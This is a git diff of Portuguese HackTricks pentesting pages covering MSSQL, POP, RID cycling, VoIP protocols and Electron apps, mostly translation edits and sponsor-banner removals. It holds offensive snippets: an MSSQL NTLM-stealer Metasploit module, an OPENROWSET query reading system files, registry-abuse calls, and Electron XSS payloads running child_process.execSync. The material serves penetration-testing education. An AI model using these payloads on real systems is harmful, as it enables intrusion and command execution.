* **Junte-se ao** 💬 [**grupo do Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo do telegram**](https://t.me/peass) ou **siga**-nos no **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Compartilhe truques de hacking enviando PRs para o** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositórios do github.
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}
**Try Hard Security Group**
<figure><img src="../../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
{% embed url="https://discord.gg/tryhardsecurity" %}
***
## Informações Básicas
De [wikipedia](https://en.wikipedia.org/wiki/Microsoft\_SQL\_Server):
> **Microsoft SQL Server** é um sistema de gerenciamento de **banco de dados relacional** desenvolvido pela Microsoft. Como um servidor de banco de dados, é um produto de software com a função principal de armazenar e recuperar dados conforme solicitado por outras aplicações de software—que podem ser executadas no mesmo computador ou em outro computador através de uma rede (incluindo a Internet).\\
> **Microsoft SQL Server** é um **sistema de gerenciamento de banco de dados** relacional desenvolvido pela Microsoft. Como um servidor de banco de dados, é um produto de software com a função principal de armazenar e recuperar dados conforme solicitado por outros aplicativos de software—que podem ser executados no mesmo computador ou em outro computador em uma rede (incluindo a Internet).\\
**Porta padrão:** 1433
```
@ -238,7 +230,7 @@ sudo impacket-smbserver share ./ -smb2support
msf> use auxiliary/admin/mssql/mssql_ntlm_stealer
```
{% hint style="warning" %}
Você pode verificar se quem (além dos sysadmins) tem permissões para executar essas funções MSSQL com:
Você pode verificar quem (além dos sysadmins) tem permissões para executar essas funções MSSQL com:
```sql
Use master;
EXEC sp_helprotect 'xp_dirtree';
@ -254,7 +246,7 @@ Você pode ver como usar essas ferramentas em:
[spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md](../../generic-methodologies-and-resources/pentesting-network/spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md)
{% endcontent-ref %}
### Abusando de Links Confiáveis do MSSQL
### Abusando de Links de Confiança do MSSQL
[**Leia este post**](../../windows-hardening/active-directory-methodology/abusing-ad-mssql.md) **para encontrar mais informações sobre como abusar dessa funcionalidade:**
@ -284,7 +276,7 @@ EXECUTE sp_OADestroy @OLE
```
### **Ler arquivo com** OPENROWSET
Por padrão, `MSSQL` permite leitura de arquivo **em qualquer arquivo no sistema operacional ao qual a conta tem acesso de leitura**. Podemos usar a seguinte consulta SQL:
Por padrão, `MSSQL` permite a leitura de arquivos **em qualquer arquivo no sistema operacional ao qual a conta tenha acesso de leitura**. Podemos usar a seguinte consulta SQL:
```sql
SELECT * FROM OPENROWSET(BULK N'C:/Windows/System32/drivers/etc/hosts', SINGLE_CLOB) AS Contents
```
@ -344,7 +336,7 @@ Use master;
EXEC sp_helprotect 'xp_regread';
EXEC sp_helprotect 'xp_regwrite';
```
For **mais exemplos** confira a [**fonte original**](https://blog.waynesheffield.com/wayne/archive/2017/08/working-registry-sql-server/).
Para **mais exemplos** confira a [**fonte original**](https://blog.waynesheffield.com/wayne/archive/2017/08/working-registry-sql-server/).
### RCE com Função Definida pelo Usuário MSSQL - SQLHttp <a href="#mssql-user-defined-function-sqlhttp" id="mssql-user-defined-function-sqlhttp"></a>
@ -497,15 +489,9 @@ Você provavelmente conseguirá **escalar para Administrador** seguindo uma dess
* [https://www.netspi.com/blog/technical/network-penetration-testing/hacking-sql-server-stored-procedures-part-1-untrustworthy-databases/](https://www.netspi.com/blog/technical/network-penetration-testing/hacking-sql-server-stored-procedures-part-1-untrustworthy-databases/)
* [https://www.netspi.com/blog/technical/network-penetration-testing/hacking-sql-server-stored-procedures-part-2-user-impersonation/](https://www.netspi.com/blog/technical/network-penetration-testing/hacking-sql-server-stored-procedures-part-2-user-impersonation/)
* [https://www.netspi.com/blog/technical/network-penetration-testing/executing-smb-relay-attacks-via-sql-server-using-metasploit/](https://www.netspi.com/blog/technical/network-penetration-testing/executing-smb-relay-attacks-via-sql-server-using-metasploit/)
* [https://blog.waynesheffield.com/wayne/archive/2017/08/working-registry-sql-server/](https://blog.waynesheffield.com/wayne/archive/2017/08/working-registry-sql-server/) **Try Hard Security Group**
* [https://blog.waynesheffield.com/wayne/archive/2017/08/working-registry-sql-server/](https://blog.waynesheffield.com/wayne/archive/2017/08/working-registry-sql-server/)
* [https://mayfly277.github.io/posts/GOADv2-pwning-part12/](https://mayfly277.github.io/posts/GOADv2-pwning-part12/)
<figure><img src="../../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
{% embed url="https://discord.gg/tryhardsecurity" %}
***
## Comandos Automáticos HackTricks
```
Protocol_Name: MSSQL #Protocol Abbreviation if there is one.

View file

@ -15,15 +15,8 @@ Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-s
</details>
{% endhint %}
**Try Hard Security Group**
<figure><img src="/.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
{% embed url="https://discord.gg/tryhardsecurity" %}
***
## Informações Básicas
## Basic Information
**Post Office Protocol (POP)** é descrito como um protocolo dentro do âmbito de redes de computadores e da Internet, que é utilizado para a extração e **recuperação de e-mails de um servidor de e-mail remoto**, tornando-os acessíveis no dispositivo local. Posicionado dentro da camada de aplicação do modelo OSI, este protocolo permite que os usuários busquem e recebam e-mails. A operação dos **clientes POP** geralmente envolve estabelecer uma conexão com o servidor de e-mail, baixar todas as mensagens, armazenar essas mensagens localmente no sistema do cliente e, subsequentemente, removê-las do servidor. Embora existam três iterações deste protocolo, **POP3** se destaca como a versão mais amplamente utilizada.
@ -97,18 +90,13 @@ password: PA$$W0RD!Z
De [https://academy.hackthebox.com/module/112/section/1073](https://academy.hackthebox.com/module/112/section/1073)
| **Configuração** | **Descrição** |
| ------------------------------ | ------------------------------------------------------------------------------------- |
| `auth_debug` | Habilita todos os logs de depuração de autenticação. |
| ------------------------------ | -------------------------------------------------------------------------------------- |
| `auth_debug` | Habilita todos os logs de depuração de autenticação. |
| `auth_debug_passwords` | Esta configuração ajusta a verbosidade dos logs, as senhas enviadas e o esquema é registrado. |
| `auth_verbose` | Registra tentativas de autenticação malsucedidas e suas razões. |
| `auth_verbose_passwords` | As senhas usadas para autenticação são registradas e também podem ser truncadas. |
| `auth_verbose` | Registra tentativas de autenticação malsucedidas e suas razões. |
| `auth_verbose_passwords` | As senhas usadas para autenticação são registradas e também podem ser truncadas. |
| `auth_anonymous_username` | Isso especifica o nome de usuário a ser usado ao fazer login com o mecanismo ANONYMOUS SASL. |
**Try Hard Security Group**
<figure><img src="/.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
{% embed url="https://discord.gg/tryhardsecurity" %}
## Comandos Automáticos HackTricks
```
@ -161,7 +149,7 @@ Aprenda e pratique Hacking GCP: <img src="/.gitbook/assets/grte.png" alt="" data
* Confira os [**planos de assinatura**](https://github.com/sponsors/carlospolop)!
* **Junte-se ao** 💬 [**grupo do Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo do telegram**](https://t.me/peass) ou **siga**-nos no **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Compartilhe truques de hacking enviando PRs para os repositórios do** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
* **Compartilhe truques de hacking enviando PRs para o** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositórios do github.
</details>
{% endhint %}

View file

@ -15,20 +15,12 @@ Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-s
</details>
{% endhint %}
**Try Hard Security Group**
<figure><img src="/.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
{% embed url="https://discord.gg/tryhardsecurity" %}
***
### Visão Geral dos Identificadores Relativos (RID) e Identificadores de Segurança (SID)
**Identificadores Relativos (RID)** e **Identificadores de Segurança (SID)** são componentes chave nos sistemas operacionais Windows para identificar e gerenciar objetos, como usuários e grupos, dentro de um domínio de rede.
- **SIDs** servem como identificadores únicos para domínios, garantindo que cada domínio seja distinguível.
- **RIDs** são anexados aos SIDs para criar identificadores únicos para objetos dentro desses domínios. Essa combinação permite o rastreamento e gerenciamento precisos das permissões e controles de acesso dos objetos.
- **RIDs** são anexados aos SIDs para criar identificadores únicos para objetos dentro desses domínios. Essa combinação permite um rastreamento e gerenciamento precisos das permissões de objetos e controles de acesso.
Por exemplo, um usuário chamado `pepe` pode ter um identificador único combinando o SID do domínio com seu RID específico, representado em formatos hexadecimal (`0x457`) e decimal (`1111`). Isso resulta em um identificador completo e único para pepe dentro do domínio como: `S-1-5-21-1074507654-1937615267-42093643874-1111`.
@ -90,26 +82,20 @@ done
| ------------------- | ------------------------------------------------------------------------------------------------------------------------------------------------- | ----------------------------------------------------------------------------------------------------------------------------------------- |
| queryuser | SAMR | Recuperar informações do usuário |
| querygroup | Recuperar informações do grupo | |
| querydominfo | Recuperar informações do domínio | |
| enumdomusers | Enumerar usuários do domínio | |
| querydominfo | Recuperar informações do domínio | |
| enumdomusers | Enumerar usuários do domínio | |
| enumdomgroups | Enumerar grupos do domínio | |
| createdomuser | Criar um usuário do domínio | |
| deletedomuser | Deletar um usuário do domínio | |
| createdomuser | Criar um usuário do domínio | |
| deletedomuser | Deletar um usuário do domínio | |
| lookupnames | LSARPC | Procurar nomes de usuários para valores SID[a](https://learning.oreilly.com/library/view/network-security-assessment/9781491911044/ch08.html#ch08fn8) |
| lookupsids | Procurar SIDs para nomes de usuários (ciclo RID[b](https://learning.oreilly.com/library/view/network-security-assessment/9781491911044/ch08.html#ch08fn9)) | |
| lsaaddacctrights | Adicionar direitos a uma conta de usuário | |
| lsaremoveacctrights | Remover direitos de uma conta de usuário | |
| lsaaddacctrights | Adicionar direitos a uma conta de usuário | |
| lsaremoveacctrights | Remover direitos de uma conta de usuário | |
| dsroledominfo | LSARPC-DS | Obter informações do domínio primário |
| dsenumdomtrusts | Enumerar domínios confiáveis dentro de uma floresta AD | |
| dsenumdomtrusts | Enumerar domínios confiáveis dentro de uma floresta AD | |
Para **entender** melhor como as ferramentas _**samrdump**_ **e** _**rpcdump**_ funcionam, você deve ler [**Pentesting MSRPC**](../135-pentesting-msrpc.md).
**Try Hard Security Group**
<figure><img src="/.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
{% embed url="https://discord.gg/tryhardsecurity" %}
{% hint style="success" %}
Aprenda e pratique Hacking AWS:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Aprenda e pratique Hacking GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)

View file

@ -10,31 +10,17 @@ Aprenda e pratique Hacking GCP: <img src="/.gitbook/assets/grte.png" alt="" data
* Confira os [**planos de assinatura**](https://github.com/sponsors/carlospolop)!
* **Junte-se ao** 💬 [**grupo do Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo do telegram**](https://t.me/peass) ou **siga**-nos no **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Compartilhe truques de hacking enviando PRs para os repositórios do** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
* **Compartilhe truques de hacking enviando PRs para o** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositórios do github.
</details>
{% endhint %}
{% endhint %}
### [WhiteIntel](https://whiteintel.io)
<figure><img src="../../../.gitbook/assets/image (1227).png" alt=""><figcaption></figcaption></figure>
[**WhiteIntel**](https://whiteintel.io) é um mecanismo de busca alimentado pela **dark-web** que oferece funcionalidades **gratuitas** para verificar se uma empresa ou seus clientes foram **comprometidos** por **malwares ladrões**.
O principal objetivo do WhiteIntel é combater a tomada de contas e ataques de ransomware resultantes de malware que rouba informações.
Você pode conferir o site deles e experimentar o mecanismo **gratuitamente** em:
{% embed url="https://whiteintel.io" %}
***
## Protocolos de Sinalização
### SIP (Protocolo de Iniciação de Sessão)
Este é o padrão da indústria, para mais informações confira:
Este é o padrão da indústria, para mais informações consulte:
{% content-ref url="sip-session-initiation-protocol.md" %}
[sip-session-initiation-protocol.md](sip-session-initiation-protocol.md)
@ -45,22 +31,22 @@ Este é o padrão da indústria, para mais informações confira:
MGCP (Protocolo de Controle de Gateway de Mídia) é um **protocolo de sinalização** e **controle de chamadas** descrito na RFC 3435. Ele opera em uma arquitetura centralizada, que consiste em três componentes principais:
1. **Agente de Chamadas ou Controlador de Gateway de Mídia (MGC)**: O gateway mestre na arquitetura MGCP é responsável por **gerenciar e controlar os gateways de mídia**. Ele lida com os processos de configuração, modificação e término de chamadas. O MGC se comunica com os gateways de mídia usando o protocolo MGCP.
2. **Gateways de Mídia (MGs) ou Gateways Escravos**: Esses dispositivos **convertem fluxos de mídia digital entre diferentes redes**, como telefonia tradicional comutada por circuito e redes IP comutadas por pacotes. Eles são gerenciados pelo MGC e executam comandos recebidos dele. Os gateways de mídia podem incluir funções como transcodificação, empacotamento e cancelamento de eco.
3. **Gateways de Sinalização (SGs)**: Esses gateways são responsáveis por **converter mensagens de sinalização entre diferentes redes**, permitindo comunicação contínua entre sistemas de telefonia tradicionais (por exemplo, SS7) e redes baseadas em IP (por exemplo, SIP ou H.323). Gateways de sinalização são cruciais para a interoperabilidade e garantem que as informações de controle de chamadas sejam comunicadas adequadamente entre as diferentes redes.
2. **Gateways de Mídia (MGs) ou Gateways Escravos**: Esses dispositivos **convertem fluxos de mídia digital entre diferentes redes**, como telefonia tradicional comutada por circuitos e redes IP comutadas por pacotes. Eles são gerenciados pelo MGC e executam comandos recebidos dele. Os gateways de mídia podem incluir funções como transcodificação, empacotamento e cancelamento de eco.
3. **Gateways de Sinalização (SGs)**: Esses gateways são responsáveis por **converter mensagens de sinalização entre diferentes redes**, permitindo comunicação contínua entre sistemas de telefonia tradicionais (por exemplo, SS7) e redes baseadas em IP (por exemplo, SIP ou H.323). Gateways de sinalização são cruciais para a interoperabilidade e garantem que as informações de controle de chamadas sejam comunicadas corretamente entre as diferentes redes.
Em resumo, o MGCP centraliza a lógica de controle de chamadas no agente de chamadas, o que simplifica a gestão de gateways de mídia e sinalização, proporcionando melhor escalabilidade, confiabilidade e eficiência nas redes de telecomunicações.
### SCCP (Protocolo de Controle de Cliente Magro)
O Protocolo de Controle de Cliente Magro (SCCP) é um **protocolo de sinalização e controle de chamadas proprietário** de propriedade da Cisco Systems. Ele é principalmente **usado** para comunicação entre o **Cisco Unified Communications Manager** (anteriormente conhecido como CallManager) e telefones IP Cisco ou outros terminais de voz e vídeo Cisco.
O Protocolo de Controle de Cliente Magro (SCCP) é um **protocolo de sinalização e controle de chamadas proprietário** da Cisco Systems. É utilizado principalmente para comunicação entre o **Cisco Unified Communications Manager** (anteriormente conhecido como CallManager) e telefones IP Cisco ou outros terminais de voz e vídeo da Cisco.
O SCCP é um protocolo leve que simplifica a comunicação entre o servidor de controle de chamadas e os dispositivos finais. É chamado de "Magro" devido ao seu design minimalista e requisitos de largura de banda reduzidos em comparação com outros protocolos VoIP como H.323 ou SIP.
Os principais componentes de um sistema baseado em SCCP são:
1. **Servidor de Controle de Chamadas**: Este servidor, tipicamente um Cisco Unified Communications Manager, gerencia os processos de configuração, modificação e término de chamadas, bem como outros recursos de telefonia, como encaminhamento de chamadas, transferência de chamadas e espera de chamadas.
2. **Terminais SCCP**: Esses são dispositivos como telefones IP, unidades de videoconferência ou outros terminais de voz e vídeo Cisco que usam SCCP para se comunicar com o servidor de controle de chamadas. Eles se registram no servidor, enviam e recebem mensagens de sinalização e seguem as instruções fornecidas pelo servidor de controle de chamadas para o manuseio de chamadas.
3. **Gateways**: Esses dispositivos, como gateways de voz ou gateways de mídia, são responsáveis por converter fluxos de mídia entre diferentes redes, como telefonia tradicional comutada por circuito e redes IP comutadas por pacotes. Eles também podem incluir funcionalidades adicionais, como transcodificação ou cancelamento de eco.
1. **Servidor de Controle de Chamadas**: Este servidor, tipicamente um Cisco Unified Communications Manager, gerencia os processos de configuração, modificação e término de chamadas, bem como outros recursos de telefonia, como desvio de chamadas, transferência de chamadas e espera de chamadas.
2. **Endpoints SCCP**: Esses são dispositivos como telefones IP, unidades de videoconferência ou outros terminais de voz e vídeo da Cisco que usam SCCP para se comunicar com o servidor de controle de chamadas. Eles se registram no servidor, enviam e recebem mensagens de sinalização e seguem as instruções fornecidas pelo servidor de controle de chamadas para o manuseio de chamadas.
3. **Gateways**: Esses dispositivos, como gateways de voz ou gateways de mídia, são responsáveis por converter fluxos de mídia entre diferentes redes, como telefonia tradicional comutada por circuitos e redes IP comutadas por pacotes. Eles também podem incluir funcionalidades adicionais, como transcodificação ou cancelamento de eco.
O SCCP oferece um método de comunicação simples e eficiente entre servidores de controle de chamadas Cisco e dispositivos finais. No entanto, vale a pena notar que **o SCCP é um protocolo proprietário**, o que pode limitar a interoperabilidade com sistemas não Cisco. Nesses casos, outros protocolos VoIP padrão como SIP podem ser mais adequados.
@ -71,21 +57,21 @@ H.323 é um **conjunto de protocolos** para comunicação multimídia, incluindo
Alguns componentes-chave do conjunto H.323 incluem:
1. **Terminais**: Esses são dispositivos finais, como telefones IP, sistemas de videoconferência ou aplicativos de software, que suportam H.323 e podem participar de sessões de comunicação multimídia.
2. **Gateways**: Esses dispositivos convertem fluxos de mídia entre diferentes redes, como telefonia tradicional comutada por circuito e redes IP comutadas por pacotes, permitindo a interoperabilidade entre H.323 e outros sistemas de comunicação. Eles também podem incluir funcionalidades adicionais, como transcodificação ou cancelamento de eco.
2. **Gateways**: Esses dispositivos convertem fluxos de mídia entre diferentes redes, como telefonia tradicional comutada por circuitos e redes IP comutadas por pacotes, permitindo a interoperabilidade entre H.323 e outros sistemas de comunicação. Eles também podem incluir funcionalidades adicionais, como transcodificação ou cancelamento de eco.
3. **Gatekeepers**: Esses são componentes opcionais que fornecem serviços de controle e gerenciamento de chamadas em uma rede H.323. Eles realizam funções como tradução de endereços, gerenciamento de largura de banda e controle de admissão, ajudando a gerenciar e otimizar os recursos da rede.
4. **Unidades de Controle Multiponto (MCUs)**: Esses dispositivos facilitam conferências multiponto gerenciando e misturando fluxos de mídia de múltiplos terminais. MCUs permitem recursos como controle de layout de vídeo, comutação ativada por voz e presença contínua, tornando possível hospedar conferências em grande escala com múltiplos participantes.
4. **Unidades de Controle Multiponto (MCUs)**: Esses dispositivos facilitam conferências multiponto gerenciando e misturando fluxos de mídia de múltiplos terminais. As MCUs permitem recursos como controle de layout de vídeo, comutação ativada por voz e presença contínua, tornando possível hospedar conferências em grande escala com múltiplos participantes.
H.323 suporta uma variedade de codecs de áudio e vídeo, bem como outros serviços suplementares como encaminhamento de chamadas, transferência de chamadas, espera de chamadas e chamada em espera. Apesar de sua ampla adoção nos primeiros dias do VoIP, o H.323 foi gradualmente substituído por protocolos mais modernos e flexíveis como o **Protocolo de Iniciação de Sessão (SIP)**, que oferece melhor interoperabilidade e implementação mais fácil. No entanto, o H.323 continua em uso em muitos sistemas legados e continua a ser suportado por vários fornecedores de equipamentos.
H.323 suporta uma variedade de codecs de áudio e vídeo, bem como outros serviços suplementares como desvio de chamadas, transferência de chamadas, espera de chamadas e chamada em espera. Apesar de sua ampla adoção nos primeiros dias do VoIP, o H.323 foi gradualmente substituído por protocolos mais modernos e flexíveis como o **Protocolo de Iniciação de Sessão (SIP)**, que oferece melhor interoperabilidade e implementação mais fácil. No entanto, o H.323 continua em uso em muitos sistemas legados e continua a ser suportado por vários fornecedores de equipamentos.
### IAX (Inter Asterisk eXchange)
IAX (Inter-Asterisk eXchange) é um **protocolo de sinalização e controle de chamadas** usado principalmente para comunicação entre servidores Asterisk PBX (Private Branch Exchange) e outros dispositivos VoIP. Foi desenvolvido por Mark Spencer, o criador do software PBX de código aberto Asterisk, como uma alternativa a outros protocolos VoIP como SIP e H.323.
IAX é conhecido por sua **simplicidade, eficiência e facilidade de implementação**. Algumas características principais do IAX incluem:
IAX é conhecido por sua **simplicidade, eficiência e facilidade de implementação**. Alguns recursos principais do IAX incluem:
1. **Porta UDP Única**: O IAX usa uma única porta UDP (4569) para sinalização e tráfego de mídia, o que simplifica a travessia de firewall e NAT, facilitando a implantação em vários ambientes de rede.
2. **Protocolo Binário**: Ao contrário de protocolos baseados em texto como SIP, o IAX é um protocolo binário, o que reduz seu consumo de largura de banda e o torna mais eficiente para transmitir dados de sinalização e mídia.
3. **Tronco**: O IAX suporta tronco, que permite que múltiplas chamadas sejam combinadas em uma única conexão de rede, reduzindo a sobrecarga e melhorando a utilização da largura de banda.
3. **Tronco**: O IAX suporta tronco, que permite que várias chamadas sejam combinadas em uma única conexão de rede, reduzindo a sobrecarga e melhorando a utilização da largura de banda.
4. **Criptografia Nativa**: O IAX tem suporte embutido para criptografia, usando métodos como RSA para troca de chaves e AES para criptografia de mídia, proporcionando comunicação segura entre os terminais.
5. **Comunicação Ponto a Ponto**: O IAX pode ser usado para comunicação direta entre terminais sem a necessidade de um servidor central, permitindo um roteamento de chamadas mais simples e eficiente.
@ -118,18 +104,23 @@ A simplicidade e flexibilidade do SDP fazem dele um padrão amplamente adotado p
1. **RTP (Protocolo de Transporte em Tempo Real)**: O RTP é um protocolo de rede projetado para a entrega de dados de áudio e vídeo, ou outros meios em tempo real, sobre redes IP. Desenvolvido pela **IETF** e definido na **RFC 3550**, o RTP é comumente usado com protocolos de sinalização como SIP e H.323 para habilitar comunicação multimídia. O RTP fornece mecanismos para **sincronização**, **sequenciamento** e **marcação de tempo** dos fluxos de mídia, ajudando a garantir uma reprodução de mídia suave e pontual.
2. **RTCP (Protocolo de Controle de Transporte em Tempo Real)**: O RTCP é um protocolo acompanhante do RTP, usado para monitorar a qualidade do serviço (QoS) e fornecer feedback sobre a transmissão de fluxos de mídia. Definido na mesma **RFC 3550** que o RTP, o RTCP **troca periodicamente pacotes de controle entre os participantes em uma sessão RTP**. Ele compartilha informações como perda de pacotes, jitter e tempo de ida e volta, o que ajuda a diagnosticar e se adaptar às condições da rede, melhorando a qualidade geral da mídia.
3. **SRTP (Protocolo de Transporte em Tempo Real Seguro)**: O SRTP é uma extensão do RTP que fornece **criptografia**, **autenticação de mensagens** e **proteção contra repetição** para fluxos de mídia, garantindo a transmissão segura de dados de áudio e vídeo sensíveis. Definido na **RFC 3711**, o SRTP usa algoritmos criptográficos como AES para criptografia e HMAC-SHA1 para autenticação de mensagens. O SRTP é frequentemente usado em combinação com protocolos de sinalização seguros como SIP sobre TLS para fornecer segurança de ponta a ponta na comunicação multimídia.
4. **ZRTP (Protocolo de Transporte em Tempo Real de Zimmermann)**: O ZRTP é um protocolo de acordo de chave criptográfica que fornece **criptografia de ponta a ponta** para fluxos de mídia RTP. Desenvolvido por Phil Zimmermann, o criador do PGP, o ZRTP é descrito na **RFC 6189**. Ao contrário do SRTP, que depende de protocolos de sinalização para troca de chaves, o ZRTP é projetado para funcionar independentemente do protocolo de sinalização. Ele usa **troca de chaves Diffie-Hellman** para estabelecer um segredo compartilhado entre as partes comunicantes, sem exigir confiança prévia ou uma infraestrutura de chave pública (PKI). O ZRTP também inclui recursos como **Strings de Autenticação Curtas (SAS)** para proteger contra ataques de homem no meio.
4. **ZRTP (Protocolo de Transporte em Tempo Real Zimmermann)**: O ZRTP é um protocolo de acordo de chave criptográfica que fornece **criptografia de ponta a ponta** para fluxos de mídia RTP. Desenvolvido por Phil Zimmermann, o criador do PGP, o ZRTP é descrito na **RFC 6189**. Ao contrário do SRTP, que depende de protocolos de sinalização para troca de chaves, o ZRTP é projetado para funcionar independentemente do protocolo de sinalização. Ele usa **troca de chaves Diffie-Hellman** para estabelecer um segredo compartilhado entre as partes comunicantes, sem exigir confiança prévia ou uma infraestrutura de chave pública (PKI). O ZRTP também inclui recursos como **Strings de Autenticação Curtas (SAS)** para proteger contra ataques de homem no meio.
Esses protocolos desempenham papéis essenciais na **entrega e segurança da comunicação multimídia em tempo real sobre redes IP**. Enquanto RTP e RTCP lidam com a transmissão real de mídia e monitoramento de qualidade, SRTP e ZRTP garantem que a mídia transmitida esteja protegida contra escuta, adulteração e ataques de repetição.
### [WhiteIntel](https://whiteintel.io)
{% hint style="success" %}
Aprenda e pratique Hacking AWS:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Aprenda e pratique Hacking GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<figure><img src="../../../.gitbook/assets/image (1227).png" alt=""><figcaption></figcaption></figure>
<details>
[**WhiteIntel**](https://whiteintel.io) é um mecanismo de busca alimentado pela **dark-web** que oferece funcionalidades **gratuitas** para verificar se uma empresa ou seus clientes foram **comprometidos** por **malwares ladrões**.
<summary>Support HackTricks</summary>
O principal objetivo do WhiteIntel é combater a tomada de contas e ataques de ransomware resultantes de malware que rouba informações.
* Confira os [**planos de assinatura**](https://github.com/sponsors/carlospolop)!
* **Junte-se ao** 💬 [**grupo do Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo do telegram**](https://t.me/peass) ou **siga**-nos no **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Compartilhe truques de hacking enviando PRs para o** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositórios do github.
Você pode conferir o site deles e experimentar o mecanismo **gratuitamente** em:
{% embed url="https://whiteintel.io" %}
</details>
{% endhint %}
</details>
{% endhint %}

View file

@ -15,19 +15,6 @@ Aprenda e pratique Hacking GCP: <img src="/.gitbook/assets/grte.png" alt="" data
</details>
{% endhint %}
### [WhiteIntel](https://whiteintel.io)
<figure><img src="../../../.gitbook/assets/image (1227).png" alt=""><figcaption></figcaption></figure>
[**WhiteIntel**](https://whiteintel.io) é um mecanismo de busca alimentado pela **dark-web** que oferece funcionalidades **gratuitas** para verificar se uma empresa ou seus clientes foram **comprometidos** por **malwares ladrões**.
O principal objetivo do WhiteIntel é combater a tomada de contas e ataques de ransomware resultantes de malware que rouba informações.
Você pode conferir o site deles e experimentar o mecanismo **gratuitamente** em:
{% embed url="https://whiteintel.io" %}
***
## Introdução
@ -44,7 +31,7 @@ No código-fonte de um aplicativo Electron, dentro de `packet.json`, você pode
"name": "standard-notes",
"main": "./app/index.js",
```
Electron tem 2 tipos de processos:
Electron tem 2 tipos de processo:
* Processo Principal (tem acesso completo ao NodeJS)
* Processo de Renderização (deve ter acesso restrito ao NodeJS por razões de segurança)
@ -59,9 +46,9 @@ let win = new BrowserWindow();
//Open Renderer Process
win.loadURL(`file://path/to/index.html`);
```
As configurações do **processo de renderização** podem ser **configuradas** no **processo principal** dentro do arquivo main.js. Algumas das configurações irão **prevenir que a aplicação Electron obtenha RCE** ou outras vulnerabilidades se as **configurações estiverem corretamente configuradas**.
As configurações do **processo de renderização** podem ser **configuradas** no **processo principal** dentro do arquivo main.js. Algumas das configurações **impedirão que o aplicativo Electron obtenha RCE** ou outras vulnerabilidades se as **configurações estiverem corretamente configuradas**.
A aplicação electron **pode acessar o dispositivo** via APIs Node, embora possa ser configurada para impedir isso:
O aplicativo Electron **pode acessar o dispositivo** via APIs Node, embora possa ser configurado para impedir isso:
* **`nodeIntegration`** - está `desligado` por padrão. Se ativado, permite acessar recursos do Node a partir do processo de renderização.
* **`contextIsolation`** - está `ativado` por padrão. Se desligado, os processos principal e de renderização não estão isolados.
@ -69,7 +56,7 @@ A aplicação electron **pode acessar o dispositivo** via APIs Node, embora poss
* [**`sandbox`**](https://docs.w3cub.com/electron/api/sandbox-option) - está desligado por padrão. Isso restringirá as ações que o NodeJS pode realizar.
* Integração do Node em Workers
* **`nodeIntegrationInSubframes`** - está `desligado` por padrão.
* Se **`nodeIntegration`** estiver **ativado**, isso permitiria o uso de **APIs Node.js** em páginas da web que estão **carregadas em iframes** dentro de uma aplicação Electron.
* Se **`nodeIntegration`** estiver **ativado**, isso permitiria o uso de **APIs Node.js** em páginas da web que estão **carregadas em iframes** dentro de um aplicativo Electron.
* Se **`nodeIntegration`** estiver **desativado**, então os preloads serão carregados no iframe.
Exemplo de configuração:
@ -110,7 +97,7 @@ Example Payloads (Linux & MacOS):
<img src=x onerror="alert(require('child_process').execSync('ls -l').toString());">
<img src=x onerror="alert(require('child_process').execSync('uname -a').toString());">
```
### Captura de tráfego
### Capturar tráfego
Modifique a configuração start-main e adicione o uso de um proxy como:
